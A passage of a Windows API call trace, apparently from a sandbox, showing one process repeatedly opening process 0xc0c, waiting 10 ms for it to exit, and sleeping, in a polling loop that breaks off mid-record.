[0245.195] CloseHandle (hObject=0x610) returned 1 [0245.195] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.195] Sleep (dwMilliseconds=0x1) [0245.211] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x610 [0245.211] WaitForSingleObject (hHandle=0x610, dwMilliseconds=0xa) returned 0x102 [0245.226] CloseHandle (hObject=0x610) returned 1 [0245.226] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.226] Sleep (dwMilliseconds=0x1) [0245.242] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x610 [0245.242] WaitForSingleObject (hHandle=0x610, dwMilliseconds=0xa) returned 0x102 [0245.257] CloseHandle (hObject=0x610) returned 1 [0245.257] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.257] Sleep (dwMilliseconds=0x1) [0245.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x610 [0245.273] WaitForSingleObject (hHandle=0x610, dwMilliseconds=0xa) returned 0x102 [0245.288] CloseHandle (hObject=0x610) returned 1 [0245.289] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.289] Sleep (dwMilliseconds=0x1) [0245.305] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x610 [0245.305] WaitForSingleObject (hHandle=0x610, dwMilliseconds=0xa) returned 0x102 [0245.321] CloseHandle (hObject=0x610) returned 1 [0245.321] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.321] Sleep (dwMilliseconds=0x1) [0245.337] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x618 [0245.337] WaitForSingleObject (hHandle=0x618, dwMilliseconds=0xa) returned 0x102 [0245.351] CloseHandle (hObject=0x618) returned 1 [0245.351] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.351] Sleep (dwMilliseconds=0x1) [0245.367] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x618 [0245.367] WaitForSingleObject (hHandle=0x618, dwMilliseconds=0xa) returned 0x102 [0245.391] CloseHandle (hObject=0x618) returned 1 [0245.391] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.391] Sleep (dwMilliseconds=0x1) [0245.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x618 [0245.398] WaitForSingleObject (hHandle=0x618, dwMilliseconds=0xa) returned 0x102 [0245.414] CloseHandle (hObject=0x618) returned 1 [0245.414] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.414] Sleep (dwMilliseconds=0x1) [0245.431] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x618 [0245.431] WaitForSingleObject (hHandle=0x618, dwMilliseconds=0xa) returned 0x102 [0245.445] CloseHandle (hObject=0x618) returned 1 [0245.445] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.445] Sleep (dwMilliseconds=0x1) [0245.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x618 [0245.461] WaitForSingleObject (hHandle=0x618, dwMilliseconds=0xa) returned 0x102 [0245.477] CloseHandle (hObject=0x618) returned 1 [0245.477] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.477] Sleep (dwMilliseconds=0x1) [0245.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x628 [0245.492] WaitForSingleObject (hHandle=0x628, dwMilliseconds=0xa) returned 0x102 [0245.507] CloseHandle (hObject=0x628) returned 1 [0245.507] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.507] Sleep (dwMilliseconds=0x1) [0245.525] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x630 [0245.525] WaitForSingleObject (hHandle=0x630, dwMilliseconds=0xa) returned 0x102 [0245.539] CloseHandle (hObject=0x630) returned 1 [0245.539] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.539] Sleep (dwMilliseconds=0x1) [0245.554] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x634 [0245.555] WaitForSingleObject (hHandle=0x634, dwMilliseconds=0xa) returned 0x102 [0245.570] CloseHandle (hObject=0x634) returned 1 [0245.570] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.570] Sleep (dwMilliseconds=0x1) [0245.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x634 [0245.586] WaitForSingleObject (hHandle=0x634, dwMilliseconds=0xa) returned 0x102 [0245.601] CloseHandle (hObject=0x634) returned 1 [0245.601] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.601] Sleep (dwMilliseconds=0x1) [0245.617] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x63c [0245.617] WaitForSingleObject (hHandle=0x63c, dwMilliseconds=0xa) returned 0x102 [0245.633] CloseHandle (hObject=0x63c) returned 1 [0245.634] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.634] Sleep (dwMilliseconds=0x1) [0245.648] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x63c [0245.648] WaitForSingleObject (hHandle=0x63c, dwMilliseconds=0xa) returned 0x102 [0245.664] CloseHandle (hObject=0x63c) returned 1 [0245.664] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.664] Sleep (dwMilliseconds=0x1) [0245.679] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x63c [0245.679] WaitForSingleObject (hHandle=0x63c, dwMilliseconds=0xa) returned 0x102 [0245.698] CloseHandle (hObject=0x63c) returned 1 [0245.698] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.698] Sleep (dwMilliseconds=0x1) [0245.717] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x64c [0245.717] WaitForSingleObject (hHandle=0x64c, dwMilliseconds=0xa) returned 0x102 [0245.726] CloseHandle (hObject=0x64c) returned 1 [0245.726] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.726] Sleep (dwMilliseconds=0x1) [0245.742] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x650 [0245.742] WaitForSingleObject (hHandle=0x650, dwMilliseconds=0xa) returned 0x102 [0245.752] CloseHandle (hObject=0x650) returned 1 [0245.752] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.752] Sleep (dwMilliseconds=0x1) [0245.754] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x650 [0245.754] WaitForSingleObject (hHandle=0x650, dwMilliseconds=0xa) returned 0x102 [0245.778] CloseHandle (hObject=0x650) returned 1 [0245.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.778] Sleep (dwMilliseconds=0x1) [0245.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x658 [0245.796] WaitForSingleObject (hHandle=0x658, dwMilliseconds=0xa) returned 0x102 [0245.809] CloseHandle (hObject=0x658) returned 1 [0245.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.810] Sleep (dwMilliseconds=0x1) [0245.831] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x660 [0245.831] WaitForSingleObject (hHandle=0x660, dwMilliseconds=0xa) returned 0x102 [0245.841] CloseHandle (hObject=0x660) returned 1 [0245.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.841] Sleep (dwMilliseconds=0x1) [0245.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x660 [0245.856] WaitForSingleObject (hHandle=0x660, dwMilliseconds=0xa) returned 0x102 [0245.876] CloseHandle (hObject=0x660) returned 1 [0245.876] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.876] Sleep (dwMilliseconds=0x1) [0245.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x660 [0245.887] WaitForSingleObject (hHandle=0x660, dwMilliseconds=0xa) returned 0x102 [0245.910] CloseHandle (hObject=0x660) returned 1 [0245.910] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.910] Sleep (dwMilliseconds=0x1) [0245.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x660 [0245.920] WaitForSingleObject (hHandle=0x660, dwMilliseconds=0xa) returned 0x102 [0245.936] CloseHandle (hObject=0x660) returned 1 [0245.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.936] Sleep (dwMilliseconds=0x1) [0245.938] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x660 [0245.938] WaitForSingleObject (hHandle=0x660, dwMilliseconds=0xa) returned 0x102 [0245.958] CloseHandle (hObject=0x660) returned 1 [0245.958] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.958] Sleep (dwMilliseconds=0x1) [0245.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x660 [0245.974] WaitForSingleObject (hHandle=0x660, dwMilliseconds=0xa) returned 0x102 [0245.990] CloseHandle (hObject=0x660) returned 1 [0245.990] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0245.990] Sleep (dwMilliseconds=0x1) [0246.004] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x660 [0246.004] WaitForSingleObject (hHandle=0x660, dwMilliseconds=0xa) returned 0x102 [0246.020] CloseHandle (hObject=0x660) returned 1 [0246.020] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.020] Sleep (dwMilliseconds=0x1) [0246.040] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x670 [0246.040] WaitForSingleObject (hHandle=0x670, dwMilliseconds=0xa) returned 0x102 [0246.051] CloseHandle (hObject=0x670) returned 1 [0246.051] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.052] Sleep (dwMilliseconds=0x1) [0246.067] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x674 [0246.067] WaitForSingleObject (hHandle=0x674, dwMilliseconds=0xa) returned 0x102 [0246.083] CloseHandle (hObject=0x674) returned 1 [0246.083] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.083] Sleep (dwMilliseconds=0x1) [0246.104] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x67c [0246.104] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0xa) returned 0x102 [0246.114] CloseHandle (hObject=0x67c) returned 1 [0246.114] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.114] Sleep (dwMilliseconds=0x1) [0246.129] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x67c [0246.130] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0xa) returned 0x102 [0246.145] CloseHandle (hObject=0x67c) returned 1 [0246.145] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.145] Sleep (dwMilliseconds=0x1) [0246.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x67c [0246.161] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0xa) returned 0x102 [0246.176] CloseHandle (hObject=0x67c) returned 1 [0246.176] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.176] Sleep (dwMilliseconds=0x1) [0246.192] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x680 [0246.192] WaitForSingleObject (hHandle=0x680, dwMilliseconds=0xa) returned 0x102 [0246.208] CloseHandle (hObject=0x680) returned 1 [0246.208] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.208] Sleep (dwMilliseconds=0x1) [0246.223] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x688 [0246.223] WaitForSingleObject (hHandle=0x688, dwMilliseconds=0xa) returned 0x102 [0246.241] CloseHandle (hObject=0x688) returned 1 [0246.241] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.241] Sleep (dwMilliseconds=0x1) [0246.260] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.260] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.277] CloseHandle (hObject=0x690) returned 1 [0246.277] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.277] Sleep (dwMilliseconds=0x1) [0246.286] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.286] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.301] CloseHandle (hObject=0x690) returned 1 [0246.301] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.301] Sleep (dwMilliseconds=0x1) [0246.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.317] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.332] CloseHandle (hObject=0x690) returned 1 [0246.333] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.333] Sleep (dwMilliseconds=0x1) [0246.350] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.351] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.364] CloseHandle (hObject=0x690) returned 1 [0246.364] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.364] Sleep (dwMilliseconds=0x1) [0246.380] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.380] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.406] CloseHandle (hObject=0x690) returned 1 [0246.406] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.406] Sleep (dwMilliseconds=0x1) [0246.411] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.411] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.426] CloseHandle (hObject=0x690) returned 1 [0246.426] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.426] Sleep (dwMilliseconds=0x1) [0246.442] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.442] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.458] CloseHandle (hObject=0x690) returned 1 [0246.458] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.458] Sleep (dwMilliseconds=0x1) [0246.473] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.473] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.489] CloseHandle (hObject=0x690) returned 1 [0246.489] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.489] Sleep (dwMilliseconds=0x1) [0246.504] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.504] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.520] CloseHandle (hObject=0x690) returned 1 [0246.520] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.520] Sleep (dwMilliseconds=0x1) [0246.536] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.536] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.551] CloseHandle (hObject=0x690) returned 1 [0246.551] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.551] Sleep (dwMilliseconds=0x1) [0246.567] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.567] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.582] CloseHandle (hObject=0x690) returned 1 [0246.582] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.583] Sleep (dwMilliseconds=0x1) [0246.598] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.598] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.614] CloseHandle (hObject=0x690) returned 1 [0246.614] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.614] Sleep (dwMilliseconds=0x1) [0246.629] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.629] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.645] CloseHandle (hObject=0x690) returned 1 [0246.645] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.645] Sleep (dwMilliseconds=0x1) [0246.661] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.661] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.682] CloseHandle (hObject=0x690) returned 1 [0246.682] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.682] Sleep (dwMilliseconds=0x1) [0246.692] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.692] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.708] CloseHandle (hObject=0x690) returned 1 [0246.708] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.708] Sleep (dwMilliseconds=0x1) [0246.723] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.723] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.739] CloseHandle (hObject=0x690) returned 1 [0246.739] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.739] Sleep (dwMilliseconds=0x1) [0246.754] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.754] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.773] CloseHandle (hObject=0x690) returned 1 [0246.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.773] Sleep (dwMilliseconds=0x1) [0246.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x690 [0246.786] WaitForSingleObject (hHandle=0x690, dwMilliseconds=0xa) returned 0x102 [0246.803] CloseHandle (hObject=0x690) returned 1 [0246.803] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.803] Sleep (dwMilliseconds=0x1) [0246.817] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6a0 [0246.817] WaitForSingleObject (hHandle=0x6a0, dwMilliseconds=0xa) returned 0x102 [0246.833] CloseHandle (hObject=0x6a0) returned 1 [0246.833] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.833] Sleep (dwMilliseconds=0x1) [0246.848] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6a0 [0246.848] WaitForSingleObject (hHandle=0x6a0, dwMilliseconds=0xa) returned 0x102 [0246.865] CloseHandle (hObject=0x6a0) returned 1 [0246.865] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.865] Sleep (dwMilliseconds=0x1) [0246.881] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6a0 [0246.881] WaitForSingleObject (hHandle=0x6a0, dwMilliseconds=0xa) returned 0x102 [0246.901] CloseHandle (hObject=0x6a0) returned 1 [0246.901] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.901] Sleep (dwMilliseconds=0x1) [0246.917] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6ac [0246.917] WaitForSingleObject (hHandle=0x6ac, dwMilliseconds=0xa) returned 0x102 [0246.929] CloseHandle (hObject=0x6ac) returned 1 [0246.929] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.929] Sleep (dwMilliseconds=0x1) [0246.942] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6b0 [0246.942] WaitForSingleObject (hHandle=0x6b0, dwMilliseconds=0xa) returned 0x102 [0246.978] CloseHandle (hObject=0x6b0) returned 1 [0246.978] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0246.978] Sleep (dwMilliseconds=0x1) [0246.990] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6b0 [0246.991] WaitForSingleObject (hHandle=0x6b0, dwMilliseconds=0xa) returned 0x102 [0247.005] CloseHandle (hObject=0x6b0) returned 1 [0247.005] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0247.005] Sleep (dwMilliseconds=0x1) [0247.020] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x6b0 [0247.023] WaitForSingleObject (hHandle=0x6b0, dwMilliseconds=0xa) returned 0x102 [0247.036] CloseHandle 